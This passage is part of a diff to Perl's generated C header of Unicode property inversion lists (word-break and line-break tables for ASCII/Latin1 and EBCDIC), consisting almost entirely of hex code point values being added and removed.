- 0x1CFA, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF7, 0x1D00, - 0x1DFA, - 0x1DFB, + 0x1DC0, + 0x1E00, 0x1F16, 0x1F18, 0x1F1E, @@ -357361,32 +70643,12 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1FF5, 0x1FF6, 0x1FFD, - 0x200C, - 0x2010, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0x2027, - 0x2030, - 0x203F, - 0x2041, - 0x2044, - 0x2045, - 0x2054, - 0x2055, - 0x2060, - 0x2065, - 0x2066, - 0x2070, 0x2071, 0x2072, 0x207F, 0x2080, 0x2090, 0x209D, - 0x20D0, - 0x20F1, 0x2102, 0x2103, 0x2107, @@ -357415,24 +70677,6 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x214F, 0x2160, 0x2189, - 0x24B6, - 0x24EA, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, 0x2C00, 0x2C2F, 0x2C30, @@ -357440,6 +70684,8 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x2C60, 0x2CE5, 0x2CEB, + 0x2CEF, + 0x2CF2, 0x2CF4, 0x2D00, 0x2D26, @@ -357451,7 +70697,7 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x2D68, 0x2D6F, 0x2D70, - 0x2D7F, + 0x2D80, 0x2D97, 0x2DA0, 0x2DA7, @@ -357469,36 +70715,34 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x2DD7, 0x2DD8, 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, 0x3005, - 0x3006, + 0x3008, + 0x3021, 0x302A, - 0x3030, 0x3031, 0x3036, - 0x303B, + 0x3038, 0x303D, - 0x3099, + 0x3041, + 0x3097, 0x309D, 0x30A0, + 0x30A1, 0x30FB, 0x30FC, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, 0x31A0, 0x31BB, 0x31F0, 0x3200, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, + 0x3400, + 0x4DB6, + 0x4E00, + 0x9FD6, 0xA000, 0xA48D, 0xA4D0, @@ -357506,51 +70750,66 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xA500, 0xA60D, 0xA610, + 0xA620, + 0xA62A, 0xA62C, 0xA640, - 0xA673, - 0xA674, - 0xA67E, + 0xA66F, 0xA67F, - 0xA6F2, + 0xA69E, + 0xA6A0, + 0xA6F0, 0xA717, + 0xA720, + 0xA722, + 0xA789, + 0xA78B, 0xA7AF, 0xA7B0, 0xA7B8, 0xA7F7, - 0xA828, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, 0xA840, 0xA874, - 0xA880, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, + 0xA882, + 0xA8B4, + 0xA8F2, 0xA8F8, 0xA8FB, 0xA8FC, 0xA8FD, 0xA8FE, - 0xA900, - 0xA92E, + 0xA90A, + 0xA926, 0xA930, - 0xA954, + 0xA947, 0xA960, 0xA97D, - 0xA980, - 0xA9C1, + 0xA984, + 0xA9B3, 0xA9CF, - 0xA9DA, + 0xA9D0, + 0xA9E0, 0xA9E5, 0xA9E6, 0xA9F0, 0xA9FA, + 0xA9FF, 0xAA00, - 0xAA37, + 0xAA29, 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA60, + 0xAA77, + 0xAA7A, 0xAA7B, 0xAA7E, 0xAAB0, @@ -357563,10 +70822,13 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xAAC0, 0xAAC1, 0xAAC2, + 0xAAC3, + 0xAADB, + 0xAADE, 0xAAE0, - 0xAAF0, + 0xAAEB, 0xAAF2, - 0xAAF7, + 0xAAF5, 0xAB01, 0xAB07, 0xAB09, @@ -357578,24 +70840,28 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xAB28, 0xAB2F, 0xAB30, + 0xAB5B, + 0xAB5C, 0xAB66, 0xAB70, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, + 0xABE3, 0xAC00, 0xD7A4, 0xD7B0, 0xD7C7, 0xD7CB, 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, 0xFB00, 0xFB07, 0xFB13, 0xFB18, 0xFB1D, + 0xFB1E, + 0xFB1F, 0xFB29, 0xFB2A, 0xFB37, @@ -357610,48 +70876,36 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xFB46, 0xFBB2, 0xFBD3, + 0xFC5E, + 0xFC64, 0xFD3E, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE11, - 0xFE13, - 0xFE15, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE54, - 0xFE56, - 0xFE70, - 0xFE75, - 0xFE76, + 0xFDFA, + 0xFE71, + 0xFE72, + 0xFE73, + 0xFE74, + 0xFE77, + 0xFE78, + 0xFE79, + 0xFE7A, + 0xFE7B, + 0xFE7C, + 0xFE7D, + 0xFE7E, + 0xFE7F, 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF07, - 0xFF08, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1C, 0xFF21, 0xFF3B, - 0xFF3F, - 0xFF40, 0xFF41, 0xFF5B, 0xFF66, + 0xFF9E, + 0xFFA0, 0xFFBF, 0xFFC2, 0xFFC8, @@ -357661,8 +70915,6 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xFFD8, 0xFFDA, 0xFFDD, - 0xFFF9, - 0xFFFC, 0x10000, 0x1000C, 0x1000D, @@ -357679,20 +70931,16 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x100FB, 0x10140, 0x10175, - 0x101FD, - 0x101FE, 0x10280, 0x1029D, 0x102A0, 0x102D1, - 0x102E0, - 0x102E1, 0x10300, 0x10320, - 0x1032D, + 0x10330, 0x1034B, 0x10350, - 0x1037B, + 0x10376, 0x10380, 0x1039E, 0x103A0, @@ -357703,8 +70951,6 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x103D6, 0x10400, 0x1049E, - 0x104A0, - 0x104AA, 0x104B0, 0x104D4, 0x104D8, @@ -357748,19 +70994,13 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x109BE, 0x109C0, 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, + 0x10A01, + 0x10A10, 0x10A14, 0x10A15, 0x10A18, 0x10A19, 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, 0x10A60, 0x10A7D, 0x10A80, @@ -357768,7 +71008,7 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x10AC0, 0x10AC8, 0x10AC9, - 0x10AE7, + 0x10AE5, 0x10B00, 0x10B36, 0x10B40, @@ -357783,40 +71023,30 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x10CB3, 0x10CC0, 0x10CF3, - 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, - 0x110BD, - 0x110BE, + 0x11003, + 0x11038, + 0x11083, + 0x110B0, 0x110D0, 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11140, + 0x11103, + 0x11127, 0x11150, - 0x11174, + 0x11173, 0x11176, 0x11177, - 0x11180, + 0x11183, + 0x111B3, + 0x111C1, 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, + 0x111DA, 0x111DB, 0x111DC, 0x111DD, 0x11200, 0x11212, 0x11213, - 0x11238, - 0x1123E, - 0x1123F, + 0x1122C, 0x11280, 0x11287, 0x11288, @@ -357828,11 +71058,7 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1129F, 0x112A9, 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, + 0x112DF, 0x11305, 0x1130D, 0x1130F, @@ -357845,94 +71071,48 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x11334, 0x11335, 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, + 0x1133D, + 0x1133E, 0x11350, 0x11351, - 0x11357, - 0x11358, 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, + 0x11362, 0x11400, + 0x11435, + 0x11447, 0x1144B, - 0x11450, - 0x1145A, 0x11480, + 0x114B0, + 0x114C4, 0x114C6, 0x114C7, 0x114C8, - 0x114D0, - 0x114DA, 0x11580, - 0x115B6, - 0x115B8, - 0x115C1, + 0x115AF, 0x115D8, - 0x115DE, + 0x115DC, 0x11600, - 0x11641, + 0x11630, 0x11644, 0x11645, - 0x11650, - 0x1165A, 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, + 0x116AB, + 0x11700, + 0x1171A, 0x118A0, - 0x118EA, + 0x118E0, 0x118FF, 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, 0x11AC0, 0x11AF9, 0x11C00, 0x11C09, 0x11C0A, - 0x11C37, - 0x11C38, + 0x11C2F, + 0x11C40, 0x11C41, - 0x11C50, - 0x11C5A, 0x11C72, 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, 0x12000, 0x1239A, 0x12400, @@ -357947,18 +71127,12 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x16A39, 0x16A40, 0x16A5F, - 0x16A60, - 0x16A6A, 0x16AD0, 0x16AEE, - 0x16AF0, - 0x16AF5, 0x16B00, - 0x16B37, + 0x16B30, 0x16B40, 0x16B44, - 0x16B50, - 0x16B5A, 0x16B63, 0x16B78, 0x16B7D, @@ -357966,13 +71140,17 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x16F00, 0x16F45, 0x16F50, - 0x16F7F, - 0x16F8F, + 0x16F51, + 0x16F93, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, 0x1B000, - 0x1B001, + 0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -357981,20 +71159,6 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1BC89, 0x1BC90, 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, 0x1D400, 0x1D455, 0x1D456, @@ -358055,38 +71219,10 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1D7C3, 0x1D7C4, 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, 0x1E800, 0x1E8C5, - 0x1E8D0, - 0x1E8D7, 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, + 0x1E944, 0x1EE00, 0x1EE04, 0x1EE05, @@ -358153,213 +71289,116 @@ static const UV PL_WB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x1EEAA, 0x1EEAB, 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E }; -# endif /* ASCII/Latin1 */ +#endif /* defined(PERL_IN_UTF8_C) */ -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_PERL_C) -static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ - 1523, /* Number of elements */ +static const UV _Perl_LB_invlist[] = { /* for EBCDIC 037 */ + 2279, /* Number of elements */ 148565664, /* Version and data structure type */ 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, + 0x5, + 0x6, 0xB, + 0xD, 0xE, 0x15, 0x16, 0x25, 0x26, + 0x40, + 0x41, 0x42, 0x4A, 0x4B, 0x4C, - 0x51, + 0x4D, + 0x4E, + 0x4F, + 0x50, 0x5A, + 0x5B, + 0x5C, + 0x5D, 0x5E, 0x5F, + 0x60, + 0x61, 0x62, - 0x6A, 0x6B, 0x6C, 0x6D, - 0x6E, + 0x6F, 0x70, - 0x79, 0x7A, 0x7B, 0x7D, 0x7E, 0x7F, + 0x80, 0x8A, 0x8C, 0x8F, + 0x90, 0x91, - 0x9D, - 0x9E, 0x9F, 0xA0, - 0xA1, - 0xA2, 0xAA, 0xAC, - 0xAD, - 0xAE, - 0xAF, + 0xB1, 0xB3, - 0xB4, 0xBA, 0xBB, + 0xBC, + 0xBE, + 0xBF, + 0xC0, 0xC1, + 0xCA, + 0xCB, 0xD0, 0xD1, - 0xDA, - 0xDB, 0xE0, - 0xE2, - 0xEA, - 0xEB, + 0xE1, + 0xF0, 0xFA, - 0xFB, 0xFF, 0x100, - 0x2D8, - 0x2DE, - 0x2E5, - 0x2EC, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x380, - 0x386, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, + 0x2C8, + 0x2C9, + 0x2CC, + 0x2CD, + 0x2DF, + 0x2E0, + 0x300, + 0x34F, + 0x350, + 0x35C, + 0x363, + 0x370, + 0x37E, + 0x37F, 0x483, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, + 0x48A, 0x589, 0x58A, + 0x58B, + 0x58F, + 0x590, 0x591, 0x5BE, 0x5BF, @@ -358373,99 +71412,96 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x5D0, 0x5EB, 0x5F0, - 0x5F5, - 0x600, - 0x606, + 0x5F3, + 0x609, 0x60C, 0x60E, 0x610, 0x61B, 0x61C, 0x61D, + 0x61E, 0x620, + 0x64B, + 0x660, 0x66A, 0x66B, 0x66D, - 0x66E, + 0x670, + 0x671, 0x6D4, 0x6D5, - 0x6DE, + 0x6D6, + 0x6DD, 0x6DF, + 0x6E5, + 0x6E7, 0x6E9, 0x6EA, - 0x6FD, - 0x6FF, - 0x700, - 0x70F, + 0x6EE, + 0x6F0, + 0x6FA, + 0x711, + 0x712, + 0x730, 0x74B, - 0x74D, - 0x7B2, + 0x7A6, + 0x7B1, 0x7C0, - 0x7F6, + 0x7CA, + 0x7EB, + 0x7F4, 0x7F8, 0x7F9, 0x7FA, - 0x7FB, - 0x800, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, 0x82E, - 0x840, + 0x859, 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, 0x8D4, + 0x8E2, + 0x8E3, + 0x904, + 0x93A, + 0x93D, + 0x93E, + 0x950, + 0x951, + 0x958, + 0x962, 0x964, 0x966, 0x970, - 0x971, + 0x981, 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, 0x9BC, + 0x9BD, + 0x9BE, 0x9C5, 0x9C7, 0x9C9, 0x9CB, - 0x9CF, + 0x9CE, 0x9D7, 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, + 0x9E2, 0x9E4, 0x9E6, + 0x9F0, 0x9F2, + 0x9F4, + 0x9F9, + 0x9FA, + 0x9FB, 0x9FC, - 0x9FD, 0xA01, 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, 0xA3C, 0xA3D, 0xA3E, @@ -358476,55 +71512,32 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xA4E, 0xA51, 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, 0xA66, + 0xA70, + 0xA72, + 0xA75, 0xA76, 0xA81, 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, 0xABC, + 0xABD, + 0xABE, 0xAC6, 0xAC7, 0xACA, 0xACB, 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, + 0xAE2, 0xAE4, 0xAE6, 0xAF0, - 0xAF9, - 0xB00, + 0xAF1, + 0xAF2, 0xB01, 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, 0xB3C, + 0xB3D, + 0xB3E, 0xB45, 0xB47, 0xB49, @@ -358532,57 +71545,27 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xB4E, 0xB56, 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, + 0xB62, 0xB64, 0xB66, 0xB70, - 0xB71, - 0xB72, 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, + 0xB83, 0xBBE, 0xBC3, 0xBC6, 0xBC9, 0xBCA, 0xBCE, - 0xBD0, - 0xBD1, 0xBD7, 0xBD8, 0xBE6, 0xBF0, + 0xBF9, + 0xBFA, 0xC00, 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, + 0xC3E, 0xC45, 0xC46, 0xC49, @@ -358590,25 +71573,15 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xC4E, 0xC55, 0xC57, - 0xC58, - 0xC5B, - 0xC60, + 0xC62, 0xC64, 0xC66, 0xC70, - 0xC80, + 0xC81, 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, 0xCBC, + 0xCBD, + 0xCBE, 0xCC5, 0xCC6, 0xCC9, @@ -358616,46 +71589,28 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xCCE, 0xCD5, 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, + 0xCE2, 0xCE4, 0xCE6, 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, + 0xD01, 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, + 0xD3E, 0xD45, 0xD46, 0xD49, 0xD4A, - 0xD4F, - 0xD54, + 0xD4E, + 0xD57, 0xD58, - 0xD5F, + 0xD62, 0xD64, 0xD66, 0xD70, + 0xD79, 0xD7A, - 0xD80, 0xD82, 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, 0xDCA, 0xDCB, 0xDCF, @@ -358672,10 +71627,13 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xE32, 0xE34, 0xE3B, + 0xE3F, + 0xE40, 0xE47, 0xE4F, 0xE50, 0xE5A, + 0xE5C, 0xEB1, 0xEB2, 0xEB4, @@ -358686,34 +71644,59 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0xECE, 0xED0, 0xEDA, - 0xF00, 0xF01, + 0xF05, + 0xF06, + 0xF08, + 0xF09, + 0xF0B, + 0xF0C, + 0xF0D, + 0xF12, + 0xF13, + 0xF14, + 0xF15, 0xF18, 0xF1A, 0xF20, 0xF2A, + 0xF34, 0xF35, 0xF36, 0xF37, 0xF38, 0xF39, 0xF3A, + 0xF3B, + 0xF3C, + 0xF3D, 0xF3E, - 0xF48, - 0xF49, - 0xF6D, + 0xF40, 0xF71, + 0xF7F, + 0xF80, 0xF85, 0xF86, + 0xF88, + 0xF8D, 0xF98, 0xF99, 0xFBD, + 0xFBE, + 0xFC0, 0xFC6, 0xFC7, + 0xFD0, + 0xFD2, + 0xFD3, + 0xFD4, + 0xFD9, + 0xFDB, 0x102B, 0x103F, 0x1040, 0x104A, + 0x104C, 0x1056, 0x105A, 0x105E, @@ -358727,367 +71710,553 @@ static const UV PL_WB__XX_invlist[] = { /* for EBCDIC 1047 */ 0x1082, 0x108E, 0x108F, + 0x1090, + 0x109A, 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, + 0x1100, + 0x1160, + 0x11A8, + 0x1200, 0x135D, 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, + 0x1361, + 0x1362, + 0x1400, 0x1401, - 0x166D, - 0x166F, 0x1680, 0x1681, 0x169B, - 0x16A0, + 0x169C, + 0x169D, 0x16EB, 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, + 0x1712, 0x1715, - 0x1720, + 0x1732, 0x1735, - 0x1740, + 0x1737, + 0x1752, 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, 0x1772, 0x1774, 0x17B4, 0x17D4, + 0x17D6, + 0x17D7, + 0x17D8, + 0x17D9, + 0x17DA, + 0x17DB, + 0x17DC, 0x17DD, 0x17DE, 0x17E0, 0x17EA, + 0x1802, + 0x1804, + 0x1806, + 0x1807, + 0x1808, + 0x180A, 0x180B, + 0x180E, 0x180F, 0x1810, 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, 0x1920, 0x192C, 0x1930, 0x193C, + 0x1944, 0x1946, 0x1950, 0x19D0, 0x19DA, - 0x1A00, + 0x1A17, 0x1A1C, 0x1A55, 0x1A5F, 0x1A60, 0x1A7D, 0x1A7F, + 0x1A80, 0x1A8A, 0x1A90, 0x1A9A, 0x1AB0, 0x1ABF, 0x1B00, - 0x1B4C, + 0x1B05, + 0x1B34, + 0x1B45, 0x1B50, 0x1B5A, + 0x1B5C, + 0x1B5D, + 0x1B61, 0x1B6B, 0x1B74, 0x1B80, + 0x1B83, + 0x1BA1, + 0x1BAE, + 0x1BB0, + 0x1BBA, + 0x1BE6, 0x1BF4, - 0x1C00, + 0x1C24, 0x1C38, + 0x1C3B, 0x1C40, 0x1C4A, - 0x1C4D, + 0x1C50, + 0x1C5A, 0x1C7E, 0x1C80, - 0x1C89, 0x1CD0, 0x1CD3, 0x1CD4, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF5, + 0x1CF8, 0x1CFA, - 0x1D00, - 0x1DFA, + 0x1DC0, + 0x1DF6, 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, + 0x1E00, 0x1FFD, + 0x1FFE, + 0x2000, + 0x2007, + 0x2008, + 0x200B, 0x200C, + 0x200D, + 0x200E, 0x2010, + 0x2011, + 0x2012, + 0x2014, + 0x2015, 0x2018, 0x201A, + 0x201B, + 0x201E, + 0x201F, + 0x2020, 0x2024, - 0x2025, 0x2027, + 0x2028, + 0x202A, + 0x202F, 0x2030, - 0x203F, - 0x2041, + 0x2038, + 0x2039, + 0x203B, + 0x203C, + 0x203E, 0x2044, 0x2045, - 0x2054, - 0x2055, + 0x2046, + 0x2047, + 0x204A, + 0x2056, + 0x2057, + 0x2058, + 0x205C, + 0x205D, 0x2060, - 0x2065, + 0x2061, 0x2066, 0x2070, - 0x2071, - 0x2072, + 0x207D, + 0x207E, 0x207F, - 0x2080, - 0x2090, - 0x209D, + 0x208D, + 0x208E, + 0x208F, + 0x20A0, + 0x20A7, + 0x20A8, + 0x20B6, + 0x20B7, + 0x20BB, + 0x20BC, + 0x20BE, + 0x20BF, 0x20D0, 0x20F1, - 0x2102, 0x2103, - 0x2107, - 0x2108, + 0x2104, + 0x2109, 0x210A, - 0x2114, - 0x2115, 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, + 0x2117, + 0x2212, + 0x2214, + 0x22EF, + 0x22F0, + 0x2308, + 0x2309, + 0x230A, + 0x230B, + 0x230C, + 0x231A, + 0x231C, + 0x2329, + 0x232A, + 0x232B, + 0x23F0, + 0x23F4, + 0x2600, + 0x2604, + 0x2614, + 0x2616, + 0x2618, + 0x2619, + 0x261A, 0x261D, 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, + 0x2620, + 0x2639, + 0x263C, + 0x2668, + 0x2669, + 0x267F, + 0x2680, + 0x26BD, + 0x26C9, + 0x26CD, + 0x26CE, + 0x26CF, + 0x26D2, + 0x26D3, + 0x26D5, + 0x26D8, + 0x26DA, + 0x26DC, + 0x26DD, + 0x26DF, + 